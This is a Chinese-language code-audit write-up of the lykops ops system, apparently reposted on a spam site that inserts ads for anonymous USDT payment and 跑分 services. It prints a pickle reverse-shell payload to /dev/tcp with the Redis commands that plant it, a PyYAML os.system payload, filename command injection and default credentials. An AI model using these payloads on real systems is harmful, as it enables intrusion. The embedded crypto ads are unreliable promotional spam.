当前位置:主页 > 保定科技 > 文章内容

usdt不用实名交易(www.caibao.it):某运维系统的代码审计条记(Django MongoDB Redis)

日期:2021-02-24 浏览:

USDT自动充值

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

某运维系统的代码审计条记(Django MongoDB Redis)

这套系统,是在某次行动的时刻遇到的,那时是通过弱密码 后台下令注入来实现getshell。
后续以为还蛮有意思,抽个周六审计了下,却发现在某些情形下居然可以直接前台RCE。。。
下面就先容此次审计的历程。

0x00 系统简介

系统名字叫:lykops运维系统

  • 代码堆栈地址:https://github.com/lykops/lykops
  • 默认账号、密码如下

    lykops
    1qaz2wsx
    

    前台登录界面

    后台上岸后的界面

  • 数据库方面,不同于通俗的Django SQLite/MySQL方案,它使用的是MongoDB Redis

    • Mongo里存用户数据
    • Redis作为缓存

在这种搭配下,攻击面就从单独的web,变成了web 2个服务

0x01 默认设置

若是你直接将这个项目repo clone下来直接使用,就会遭受默认设置所导致的风险。

Debug模式默认开启

不注释,在lykops/settings.py中,Debug默认是开启的。

 SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True

怎么行使呢?
——让django报错,进而泄露敏感信息!这里接纳的是POST数组参数的方式,可以看到已经泄露了密码的Hash

密钥硬编码

源代码在这里,也是lykops/settings.py
https://github.com/lykops/lykops/blob/ed7e35d0c1abb1eacf7ab365e041347d0862c0a7/lykops/settings.py,L29

 lykops/settings.py
SECRET_KEY = '-mii=_9j2@!^7,lbjgo6=6930,@)dle18^wdj^b@xa68=-3bed'

原repo里的SECRET_KEY在上面,这个值按理说是在每一个Django项目建立之初的时刻自动天生的,可是这里直接硬编码了,要是图省事不更改的话,就。。。事实上,十年前有洋人就讨论过这个问题,最佳实践=>distributing-django-projects-with-unique-secret-keys
话说回来,这个密钥的作用是啥呢,咱们先看看官方文档。

没错,理论上可以用它来伪造署名!通过学习廖新喜先辈从Django的SECTET_KEY到代码执行 | xxlegend一文,自己也跟了一下django 1.11的源代码,获得以下结论

  • 在django1.6以下,session默认是接纳pickle执行序列化操作,在1.6及以上版本默认接纳json序列化。
  • 代码执行只存在于使用pickle序列化的操作中,即django<=1.6
  • 这类泄露密钥问题的行使工具:https://github.com/danghvu/pwp,蛮不错的的实现思绪

总而言之,搭载django 1.11的目的环境,并不会由于密钥泄露而发生RCE的问题。不外当下的渗透角度来看,我并没有迫切需要研究身份伪造的需求(弱密码......),因此就暂不深入剖析身份伪造的行使方案了。(小我私家习惯:喜欢现实遇到某一类问题后,再去想设施剖析解决),有这方面领会的大佬,请不惜在谈论区抬一手。

0x02 Redis未授权=>前台RCE

登录处的pickle反序列化破绽!

逻辑剖析

咱们先看看登录的路由,是^login.html,对应的逻辑是Login类的login函数

那么跟进login函数,实在反序列化这块,主要关注第81行就好。

第81行,传入了user=adminuser变量,咱们通过全局搜索变量名获得adminuser的值,默认是lykops
那么跟进get_userinfo,发现就是去redis中取用户的登录缓存

那么咱们想想看,用户数据,在Python的上下文中,存在的形式一定是Python工具;而在Redis中,储存形式很可能是字符串。至此,明白上都没问题吧?

Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(聚集)及zset(sorted set:有序聚集)

再进一步,Redis使用的字符串,要转换成Python中的工具,就一定存在反序列化的实现,若反序列化限制欠妥,就会存在破绽——那它反序列化用的啥函数呢?
这个get的实现,在入参是fmt=obj时,会反序列化【从Redis中取得的字符串】,而反序列化函数,居然是用的pickle.loads

若是你还不领会Python的反序列化攻击,可以参考从零开始python反序列化攻击这篇帖子。
下面的图,是在Python cmdline中行使反序列化来下令执行的小demo

简朴来说,咱们要做的,就是

,

usdt支付接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
  • 行使Python中class的__reduce__方式,在pickle反序列化的时刻会被执行的特点,先组织恶意字符串,再通过反序列化造成下令执行。
  • pickle.loads的入参类型要求是Byte,而Redis取出的效果类型,默认也是Byte,因此无需分外的转码。
  • 现实行使中,只需要有Redis未授权接见,就咱们能通过覆写lykopsvalue的方式,传入恶意字符串让Python去反序列化,继而完成下令执行!

破绽行使

天生payload的代码如下

!/usr/bin/env python3
import pickle
import os

class py():
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/10.10.111.2/1337 0>&1',))

payload = pickle.dumps(py()) 
 b'x80x03cposixnsystemnqx00X)x00x00x00bash -i >& /dev/tcp/10.10.111.1/1337 0>&1qx01x85qx02Rqx03.'

下面演示攻击历程,首先行使硬编码的Redis密码1qaz2wsx去毗邻Redis,内里原本是有值滴,用户的hash可以拿去用hydra爆破,此处不多先容。

写入用于反弹shell的恶意字符串

 写入key
set lykops:userinfo "x80x03cposixnsystemnqx00X)x00x00x00bash -i >& /dev/tcp/10.10.111.1/1337 0>&1qx01x85qx02Rqx03."

 查看key
get lykops:userinfo

 重置key后续用于恢复网站
set lykops:userinfo 1

点击登录,触发RCE!

这里需要多说一句。由于某种缘故原由,django会不停地去反序列化lykops:userinfo中的数据——这个历程是壅闭的,以是我们在拿到shell后,会看到网站卡死。为了恢复网站,就需要重置key。

看到这里,你就会发现这种行使思绪,跟P牛的掌阅iReader某站Python破绽挖掘 | 离别歌一文,照样蛮相似的对吧。没错,我之以是想到去关注这个点,正是脑海里想起了P牛那篇文章。年轻人要多向先辈学习; D

0x03 后台YAML反序列化

Python在反序列化YAML花样的内容时,存在反序列化破绽。参考浅谈PyYAML反序列化破绽一文,获得以下要点

  • 在PyYAML 5.1版本之前我们有以下反序列化方式:

load(data)
load(data, Loader=Loader)
load_all(data)
load_all(data, Loader=Loader)

  • yaml反序列化时,会凭据参数来动态建立新的Python类工具或通过引用module的类建立工具,从而可以执行随便下令~

因此,只要Python代码中存在yaml.load()且参数可控,则可以行使yaml反序列化来实现RCE。

逻辑剖析

首先,在上一个问题的测试中,注重到一件事

Python会举行Yaml的语法检查,剖析yaml文件很可能用的就是yaml.load
那么武断跟代码——全局搜yaml.load

外面有一个门面方式yaml_loader

没有过滤,而且一堆挪用,那基本不用再跟了。
不外,还行使前,还要查看下版本,由于以PyYAML 5.1为界线,版本上、下的行使方式不太一样。
该项目是否指定了PyYAML的版本呢,查看requirements.txt

发现并未指定版本。那么就去本机上找

>>> python3 -m pip list |grep PyYAML
PyYAML   3.12

是Py3默认的PyYAML 3.12,相符最理想的反序列化情形,搞起!

破绽行使

照样刚刚0x02中的上传点,只需组织以下内容发送即可

!!python/object/new:os.system ["sleep 2"]

RCE!

只不外这个下令执行的点,只执行一次下令,显得加倍纯粹。

0x04 后台下令注入破绽

逻辑剖析

全局搜索常见的下令执行函数

os.system|os.popen|subprocess.|exec(|commands.|os.spawn

看到一处有趣的点,直接传入了文件路径?

我们跟进到lykops/library/utils/file.py,248里的upload_file函数,可看到此处并没有任何过滤

那么file变量是从哪儿来的呢?
查看函数的挪用,跟到import_upload,再往上追

最后在lykops/lykops/ansible/yaml.py,74发现了这个破绽的入口点,file变量来自于咱们的HTTP请求,。
对应的路由是^ansible/yaml/import$
可以看到,若是上传时失足,则会挪用两次import_file函数,也就是执行两遍下令。

破绽行使

咱们直接接见,上传并抓包

更改文件名,完成下令注入。

0x0? 添加管理员接口未授权

在安装这套系统的时刻,发现一开始可以添加管理员,

路由在这里

url(r'^user/create_admin', Login(mongoclient=mongoclient, redisclient=redisclient).create_admin, name='create_admin'),

那么查看建立管理员对应的实现代码

显然有问题。它先判断请求方式,若是是GET请求,就去MongoDB中查,当前是否存在超管用户(上面有提到默认值是lykops),若是不存在就渲染建立管理员的模板。
我的好开发,可再别写那么庞大了,POST请求,你压根就没鉴权。

然则然则,没注重后面强制指定了是去建立adminuser,现实基本就不能行使。。。

总结

谢谢旁观!
这一波代码审计下来,getshell的姿势可谓多种多样;但不论怎样,焦点都是运维/开发人员缺乏平安意识,妄想利便。
同时呢,我在其中也学习到了一些最佳实践,例如分发Django项目时动态引入SECRET_KEY时,最好使用系统的环境变量。
此外,若是再抬一下——升华到平安设计。从这个懦弱的项目,我又想到一个例子:想一想为什么宝塔面板的账号密码,不是保存在设置文件中,而是要求运行一条下令bt default才出得来呢?缘故原由之一,不就是为了防止被类似内陆随便文件读取的破绽搞下来吗?
须知破绽往往是串联起来发挥作用的,因此平安设计就是要想设施削减彼此之间的平安依赖——护城河失陷了,另有城门,城门破开了,另有哨兵。
以是,我小我私家感觉:学平安,除了要学平安手艺,还不能忽略平安理念,闻一知十,才气发生质变啊。

Refs

  • Minimized risk of SECRET_KEY leak. https://github.com/django/django/pull/2714
  • https://github.com/danghvu/pwp/blob/master/exploit.py
  • 浅谈PyYAML反序列化破绽 - 先知社区 https://xz.aliyun.com/t/7923,toc-10
  • 从Django的SECTET_KEY到代码执行 | xxlegendhttp://xxlegend.com/2015/04/01/从Django的SECTET_KEY到代码执行/
    , 附录:部署指南
    本人在部署这套代码的时刻,踩了一些小坑,因此在官方的安装说明上,添加了一些内容,已经放到附件。
    有兴趣自己剖析的师傅们,可以自己搭环境复现下。
    最后一件事,这套代码基本只被用在内网里(横竖我在fofa上一台都找不到)。
    因此,请在内陆搭建,勿用于生产环境!
    部署手册.md